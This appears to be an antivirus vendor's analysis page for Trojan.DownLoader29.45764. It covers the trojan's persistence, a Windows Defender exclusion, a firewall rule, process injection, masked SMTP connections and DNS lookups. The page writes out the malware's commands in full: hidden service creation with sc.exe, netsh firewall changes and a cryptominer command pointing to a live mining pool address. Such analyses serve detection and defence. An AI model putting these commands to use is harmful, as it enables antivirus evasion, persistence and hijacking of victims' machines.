Trojan.DownLoader29.45764

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\nujkikbm] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\nujkikbm] 'ImagePath' = '%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\nujkikbm] 'ImagePath' = '%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nujkikbm' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\rpwsrayp.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\rpwsrayp.exe to %WINDIR%\syswow64\nujkikbm\rpwsrayp.exe

Deletes itself.

Network activity

Connects to

'sm####n.inwind.it':25
'mx.###onnect.com':25
'sm###.##gione.abruzzo.it':25
'alt3.gmail-smtp-in.l.google.com':25
'mx#.###bluecross.com':25
'in.###estore.net':25
'mx######1-farm74.uni5.net':25
'mx#.mail.ru':25
'ma##.medion.com':25
'14#.#6.108.92':486
'dc#####77c95da4.pec.com':25
'ma######rde1.xh1.lilly.com':25
'sa####ifoods.com.br':25
'ma####.bezeqint.net':25
'us#.###.mailhostbox.com':25
'alt4.gmail-smtp-in.l.google.com':25
'mx##.##stcontrol.com':25
'sp###.#ail.gandi.net':25
'wo####africa.com':25
'fm###.unina.it':25
'mx#######e01.gslb.pphosted.com':25
'mx.#.#ocaweb.com.br':25
'in##.rambler.ru':25
'mx##.#ail.citi.com':25
'sm##.##b.shawcable.net':25
'Mx#######a01.gslb.pphosted.com':25
'ma##.#kkap.com.cn':25
're#####paletes.com.br':25
'in.##mailer.it':25
'ALT2.ASPMX.L.GOOGLE.COM':25
'mx#.#c.upv.es':25
'mx######92f01.pphosted.com':25
'sm##.##telopeaudio.com':25
'gmail-smtp-in.l.google.com':25
'mx#######201.gslb.pphosted.com':25
'mx#######301.gslb.pphosted.com':25
'mx#.#otmail.com':25
'sm##.##cureserver.net':25
'vm######.#egione.emilia-romagna.it':25
'mt##.##0.yahoodns.net':25
'alt1.aspmx.l.google.com':25
'aspmx.l.google.com':25
'alt1.gmail-smtp-in.l.google.com':25
'mx.#im.it':25
'mx######6dd01.pphosted.com':25
'de###.idsud.com':25
'mx.##.##mail.iss.as9143.net':25
'sm####n.virgilio.it':25
'mx#.###red.acl.com.br':25
'20#.#47.35.206':587
'alt2.gmail-smtp-in.l.google.com':25
'd3#####.##s.barracudanetworks.com':25
'ra###x.com.br':25
'sm###in.iol.it':25
'mx.#########et.com.cust.b.hostedemail.com':25
'ac####.pancanal.com':25
'et###.#ail.tiscali.it':25
'us#####30.oracle.com':25
'mx#######701.gslb.pphosted.com':25

TCP

HTTP GET requests

http://www.google.com/

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK sm###.##gione.abruzzo.it
DNS ASK ti###linet.it
DNS ASK bt.dk
DNS ASK ca####ecross.com
DNS ASK alt3.gmail-smtp-in.l.google.com
DNS ASK mx.###onnect.com
DNS ASK re####e.abruzzo.it
DNS ASK mx#.###bluecross.com
DNS ASK ln###ilwara.com
DNS ASK en###x.com.br
DNS ASK mx######1-farm74.uni5.net
DNS ASK ma#l.ru
DNS ASK mx#.mail.ru
DNS ASK ad##ra.it
DNS ASK in.###estore.net
DNS ASK wv###nect.com
DNS ASK re#####paletes.com.br
DNS ASK ALT2.ASPMX.L.GOOGLE.COM
DNS ASK io#.it
DNS ASK sm###in.iol.it
DNS ASK ca###rocket.com
DNS ASK mx.#########et.com.cust.b.hostedemail.com
DNS ASK mi###a.edu.co
DNS ASK ya##o.com
DNS ASK ra###x.com.br
DNS ASK pa###nal.com
DNS ASK ti##ali.it
DNS ASK et###.#ail.tiscali.it
DNS ASK bs####tralia.com
DNS ASK ps##.com
DNS ASK mx######6dd01.pphosted.com
DNS ASK bs##oy.eu
DNS ASK ac####.pancanal.com
DNS ASK bu###ville.com
DNS ASK ca####llschools.org
DNS ASK me##on.com
DNS ASK ma##.medion.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK fl###sbella.net
DNS ASK mx.#.#ocaweb.com.br
DNS ASK ra##ler.ru
DNS ASK in##.rambler.ru
DNS ASK ci##.com
DNS ASK mx##.#ail.citi.com
DNS ASK sh#w.ca
DNS ASK sm##.##b.shawcable.net
DNS ASK yk###.com.cn
DNS ASK ma##.#kkap.com.cn
DNS ASK ch#####tinvestment.com
DNS ASK Mx#######a01.gslb.pphosted.com
DNS ASK go##ing.com
DNS ASK us#.###.mailhostbox.com
DNS ASK bk##ech.com
DNS ASK fm###.unina.it
DNS ASK di###too.com
DNS ASK st####ti.unina.it
DNS ASK sa####ifoods.com.br
DNS ASK pe#.com
DNS ASK dc#####77c95da4.pec.com
DNS ASK li##y.com
DNS ASK ma######rde1.xh1.lilly.com
DNS ASK en##are.it
DNS ASK in.##mailer.it
DNS ASK be###int.net
DNS ASK ma####.bezeqint.net
DNS ASK alt4.gmail-smtp-in.l.google.com
DNS ASK be###rsen.nu
DNS ASK mx##.##stcontrol.com
DNS ASK di##ta.com
DNS ASK sp###.#ail.gandi.net
DNS ASK wo####africa.com
DNS ASK ki###corp.com
DNS ASK im###oupe.com
DNS ASK alt2.gmail-smtp-in.l.google.com
DNS ASK d3#####.##s.barracudanetworks.com
DNS ASK ma##lla.it
DNS ASK aspmx.l.google.com
DNS ASK bi###asperic.si
DNS ASK pi#####.ccii.unipi.it
DNS ASK ti#.it
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK eu###4.com.pl
DNS ASK sm##.tin.it
DNS ASK su#.com
DNS ASK us#####30.oracle.com
DNS ASK bi##.info
DNS ASK ce##ed.it
DNS ASK ma##.cesped.it
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ma###ces.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK at####global.com
DNS ASK pa##n.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK mx#.#otmail.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK as###.daum.net
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK li##ro.it
DNS ASK sm####n.libero.it
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK vo###y-med.ch
DNS ASK mx#.vtx.ch
DNS ASK in##nd.it
DNS ASK sm####n.inwind.it
DNS ASK vm######.#egione.emilia-romagna.it
DNS ASK id####ionet.com.br
DNS ASK alt1.aspmx.l.google.com
DNS ASK 3d###ort.com
DNS ASK as##.upv.es
DNS ASK mx#.#c.upv.es
DNS ASK mx.#im.it
DNS ASK id##d.com
DNS ASK de###.idsud.com
DNS ASK nt###rld.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK vi##ilio.it
DNS ASK sm####n.virgilio.it
DNS ASK ne###y.com.br
DNS ASK mx#.###red.acl.com.br
DNS ASK re#####.emilia-romagna.it
DNS ASK bb###signs.com
DNS ASK sm##.##cureserver.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK 3d##p.com
DNS ASK mx.###netmail.com
DNS ASK mi####lanews.com
DNS ASK mx######92f01.pphosted.com
DNS ASK bi#o.fr
DNS ASK se###s.biro.fr
DNS ASK bi###can.com
DNS ASK ai#s.it
DNS ASK google.com
DNS ASK au######.com.snwlhostedeu.com
DNS ASK id###dio.com.hk
DNS ASK an####peaudio.com
DNS ASK sm##.##telopeaudio.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK re##ons.com
DNS ASK of###tics.com
DNS ASK uw###mni.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\nujkikbm\rpwsrayp.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nujkikbm\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rpwsrayp.exe" %WINDIR%\SysWOW64\nujkikbm\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create nujkikbm binPath= "%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description nujkikbm "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start nujkikbm' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nujkikbm\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rpwsrayp.exe" %WINDIR%\SysWOW64\nujkikbm\
'%WINDIR%\syswow64\sc.exe' create nujkikbm binPath= "%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description nujkikbm "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start nujkikbm
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial